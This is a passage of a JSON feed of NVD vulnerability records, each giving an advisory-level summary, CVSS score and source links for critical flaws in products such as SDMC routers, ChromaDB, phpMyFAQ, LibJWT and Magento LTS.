cable modem routers running firmware 7.1.6.0.25 and 7.1.6.1.9_B9 contain a hardcoded password vulnerability in the web management interface recovery endpoints (mgmt.php, npcmd.php) that allows unauthenticated attackers to gain root access by submitting the hardcoded credential to the recovery endpoint via HTTP. Attackers can leverage this hardcoded password to enable filtered SSH and Telnet services on the device, resulting in unauthenticated root-level remote access to the underlying system.","detail":"SDMC NE6037 cable modem routers running firmware 7.1.6.0.25 and 7.1.6.1.9_B9 contain a hardcoded password vulnerability in the web management interface recovery endpoints (mgmt.php, npcmd.php) that allows unauthenticated attackers to gain root access by submitting the hardcoded credential to the recovery endpoint via HTTP. Attackers can leverage this hardcoded password to enable filtered SSH and Telnet services on the device, resulting in unauthenticated root-level remote access to the underlying system.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T17:16:20.143Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-24444","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-24444","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24444","type":"primary","publishedAt":"2026-05-28T17:16:20.143Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42097","cveId":"CVE-2026-42097","aliases":[],"kind":"vulnerability","title":"Sparx Pro Cloud Server requires authentication based on requested URL.","summary":"Sparx Pro Cloud Server requires authentication based on requested URL. An attacker can omit the \"model\" query parameter and send the model name only in the binary blob in POST request allowing SQL query execution without authentication.\n\nThe vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.","detail":"Sparx Pro Cloud Server requires authentication based on requested URL. An attacker can omit the \"model\" query parameter and send the model name only in the binary blob in POST request allowing SQL query execution without authentication.\n\nThe vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-19T14:16:42.247Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"sparxsystems","product":"pro cloud server","stacks":["Sparxsystems","pro cloud server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42097","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42097","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42097","type":"primary","publishedAt":"2026-05-19T14:16:42.247Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46725","cveId":"CVE-2026-46725","aliases":[],"kind":"vulnerability","title":"The extension passes an attacker-controlled cookie directly to PHP's unserialize() without safely processing the input.","summary":"The extension passes an attacker-controlled cookie directly to PHP's unserialize() without safely processing the input. A remote, unauthenticated attacker can supply a crafted serialized payload to trigger PHP Object Injection, leading to Remote Code Execution on the TYPO3 server. Exploitation requires the content element to be configured with \"Persistent Mode: Static\" in the plugin settings.","detail":"The extension passes an attacker-controlled cookie directly to PHP's unserialize() without safely processing the input. A remote, unauthenticated attacker can supply a crafted serialized payload to trigger PHP Object Injection, leading to Remote Code Execution on the TYPO3 server. Exploitation requires the content element to be configured with \"Persistent Mode: Static\" in the plugin settings.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-19T10:16:25.457Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46725","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46725","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46725","type":"primary","publishedAt":"2026-05-19T10:16:25.457Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45829","cveId":"CVE-2026-45829","aliases":[],"kind":"vulnerability","title":"A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server...","summary":"A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server by sending a malicious model repository and trust_remote_code set to true in the /api/v2/tenants/{tenant}/databases/{db}/collections endpoint.","detail":"A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server by sending a malicious model repository and trust_remote_code set to true in the /api/v2/tenants/{tenant}/databases/{db}/collections endpoint.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-18T17:16:34.040Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45829","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45829","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45829","type":"primary","publishedAt":"2026-05-18T17:16:34.040Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-4320","cveId":"CVE-2026-4320","aliases":[],"kind":"vulnerability","title":"Authorization Bypass vulnerability in Creartia's ICMS software could allow an attacker to gain unauthorized access to protected features by manipulating the HTTP redirect headers...","summary":"Authorization Bypass vulnerability in Creartia's ICMS software could allow an attacker to gain unauthorized access to protected features by manipulating the HTTP redirect headers of the login process, causing the script to continue running and enabling privilege escalation without the need for credentials.","detail":"Authorization Bypass vulnerability in Creartia's ICMS software could allow an attacker to gain unauthorized access to protected features by manipulating the HTTP redirect headers of the login process, causing the script to continue running and enabling privilege escalation without the need for credentials.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-18T11:16:18.283Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-4320","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-4320","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4320","type":"primary","publishedAt":"2026-05-18T11:16:18.283Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8507","cveId":"CVE-2026-8507","aliases":[],"kind":"vulnerability","title":"Crypt::OpenSSL::PKCS12 versions through 1.94 for Perl have out-of-bounds (OOB) write flaws.","summary":"Crypt::OpenSSL::PKCS12 versions through 1.94 for Perl have out-of-bounds (OOB) write flaws.\n\nWhen parsing a PKCS12 file, with a >= 1 GiB OCTET STRING (or BIT STRING) attribute on a SAFEBAG, via info() or info_as_hash(), a heap out-of-bounds write would be triggered with remote-code-execution potential (RCE) due to a signed integer overflow in the size calculation passed to Renew().","detail":"Crypt::OpenSSL::PKCS12 versions through 1.94 for Perl have out-of-bounds (OOB) write flaws.\n\nWhen parsing a PKCS12 file, with a >= 1 GiB OCTET STRING (or BIT STRING) attribute on a SAFEBAG, via info() or info_as_hash(), a heap out-of-bounds write would be triggered with remote-code-execution potential (RCE) due to a signed integer overflow in the size calculation passed to Renew().\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-17T19:16:24.590Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":["OpenSSL"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8507","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8507","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8507","type":"primary","publishedAt":"2026-05-17T19:16:24.590Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46364","cveId":"CVE-2026-46364","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate...","summary":"phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.","detail":"phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T19:17:03.750Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46364","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46364","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46364","type":"primary","publishedAt":"2026-05-15T19:17:03.750Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45010","cveId":"CVE-2026-45010","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.2 contains an improper restriction of excessive authentication attempts vulnerability in the /admin/check endpoint, which accepts arbitrary user-id parameters...","summary":"phpMyFAQ before 4.1.2 contains an improper restriction of excessive authentication attempts vulnerability in the /admin/check endpoint, which accepts arbitrary user-id parameters without session binding or rate limiting. Unauthenticated attackers can brute-force any user's six-digit TOTP code by submitting POST requests with sequential token values, bypassing two-factor authentication to gain full administrative access.","detail":"phpMyFAQ before 4.1.2 contains an improper restriction of excessive authentication attempts vulnerability in the /admin/check endpoint, which accepts arbitrary user-id parameters without session binding or rate limiting. Unauthenticated attackers can brute-force any user's six-digit TOTP code by submitting POST requests with sequential token values, bypassing two-factor authentication to gain full administrative access.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T19:17:01.450Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45010","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45010","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45010","type":"primary","publishedAt":"2026-05-15T19:17:01.450Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44717","cveId":"CVE-2026-44717","aliases":[],"kind":"vulnerability","title":"MCP Calculate Server is a mathematical calculation service based on MCP protocol and SymPy library.","summary":"MCP Calculate Server is a mathematical calculation service based on MCP protocol and SymPy library. Prior to 0.1.1, the use of eval() to evaluate mathematical expressions without proper input sanitization leads to remote code execution. This vulnerability is fixed in 0.1.1.","detail":"MCP Calculate Server is a mathematical calculation service based on MCP protocol and SymPy library. Prior to 0.1.1, the use of eval() to evaluate mathematical expressions without proper input sanitization leads to remote code execution. This vulnerability is fixed in 0.1.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T17:16:48.073Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44717","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44717","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44717","type":"primary","publishedAt":"2026-05-15T17:16:48.073Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44699","cveId":"CVE-2026-44699","aliases":[],"kind":"vulnerability","title":"LibJWT is a C JSON Web Token Library.","summary":"LibJWT is a C JSON Web Token Library. From 3.0.0 to 3.3.2, libjwt accepts an RSA JWK that does not contain an alg parameter as the verification key for an HS256/HS384/HS512 token. In the OpenSSL backend, this causes HMAC verification to run with a zero-length key, so an attacker can forge a valid JWT without knowing any secret or RSA private key. This is an algorithm-confusion authentication bypass. It affects applications that load RSA keys from JWKS where alg is omitted, which is valid JWK syntax and common in real deployments, and then choose the verification algorithm from the JWT header, for example in a kid lookup callback. This vulnerability is fixed in 3.3.3.","detail":"LibJWT is a C JSON Web Token Library. From 3.0.0 to 3.3.2, libjwt accepts an RSA JWK that does not contain an alg parameter as the verification key for an HS256/HS384/HS512 token. In the OpenSSL backend, this causes HMAC verification to run with a zero-length key, so an attacker can forge a valid JWT without knowing any secret or RSA private key. This is an algorithm-confusion authentication bypass. It affects applications that load RSA keys from JWKS where alg is omitted, which is valid JWK syntax and common in real deployments, and then choose the verification algorithm from the JWT header, for example in a kid lookup callback. This vulnerability is fixed in 3.3.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T17:16:47.783Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44699","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44699","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44699","type":"primary","publishedAt":"2026-05-15T17:16:47.783Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42155","cveId":"CVE-2026-42155","aliases":[],"kind":"vulnerability","title":"Magento Long Term Support (LTS) is an unofficial, community-driven project provides an alternative to the Magento Community Edition e-commerce platform with a high level of...","summary":"Magento Long Term Support (LTS) is an unofficial, community-driven project provides an alternative to the Magento Community Edition e-commerce platform with a high level of backward compatibility. Prior to 20.18.0, the XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG). All inputs to the MD5 hash are time-derived and non-secure. Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions. This vulnerability is fixed in 20.18.0.","detail":"Magento Long Term Support (LTS) is an unofficial, community-driven project provides an alternative to the Magento Community Edition e-commerce platform with a high level of backward compatibility. Prior to 20.18.0, the XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG). All inputs to the MD5 hash are time-derived and non-secure. Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions. This vulnerability is fixed in 20.18.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T17:16:46.613Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Adobe Commerce and 